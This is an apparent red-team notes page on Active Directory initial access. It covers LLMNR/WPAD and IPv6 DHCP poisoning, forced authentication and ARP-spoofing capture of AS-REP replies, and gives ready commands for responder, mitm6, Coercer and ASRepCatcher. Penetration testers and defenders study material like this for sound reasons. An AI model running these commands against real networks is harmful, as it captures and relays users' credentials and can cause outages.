> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/active-directory/initial-access/protocol-poisoning-and-coercion.md).

# Protocol Poisoning and Coercion

## Net-NTLMv1

An important caveat to the following attacks is the limitations of Net-NTLM. Net-NTLMv2 is not so easily cracked but can be used for relaying in most scenarios. However, **Net-NTLMv1 authentication is vulnerable to a downgrade attack** through DES decryption. Net-NTLMv1 may be downgraded directly into NTLM and then passed as credentials for Kerberos tickets or service authentication.

## Protocol Poisoning

"Protocol poisoning" is a general term used to describe the manipulation of authentication protocols in a malicious way. The vast majority of these methods work to redirect network-adjacent traffic towards an attacker controlled host, whereby the authentication will be intercepted or relayed further.

LLMNR and WPAD are commonly enabled protocols in Active Directory environments, both susceptible to protocol poisoning by various means. The tool `responder` does a lot of heavy lifting for these protocols - just turn it on and start collecting password hashes or relaying authentication.

```
responder -I eth0
responder -I eth0 -wF # Starts a WPAD response server and forces HTTP authentication
```

IPv6 DHCP is also commonly enabled in environments and lacks built-in security measures. Poisoning DHCP router requests allows you to redirect a large amount of traffic towards a controlled host. Be warned - excessive use may cause outages if IPv6 is in use throughout the organization.

```
mitm6 --ignore-fqdn -d contoso.com -i eth0
```

## Authentication Coercion

Authentication does not have to be intercepted - it may be coerced through a variety of means. SSRF and file upload path vulnerabilities may allow you to force HTTP-based authentication of Windows servers. Printer SMTP settings can be hijacked to reveal cleartext credentials. Get creative.

You may also use the RPC protocol to invoke functions on servers that force authentication attempts. The tool `Coercer` automates most of this process, allowing you to coerce either SMB or HTTP based authentication.

```
Coercer scan -t 10.10.10.10 -u user -p pass -d contoso.com
```

Servers running the WebClient (WebDav) service allow you to coerce HTTP-based authentication outright. Make sure to **include your NETBIOS name** as the listener target, though.

```
Coercer coerce -t 10.10.10.10 -l \\WKSTN-1@80\ -u user -p pass -d contoso.com
```

## ASREP ARP Relay

This technique involves ARP spoofing domain controllers to intercept ASREP reply messages when domain users authenticate. ASREP replies will be returned to your controlled host to be cracked offline.

```
ASRepCatcher relay -dc 192.168.1.100
```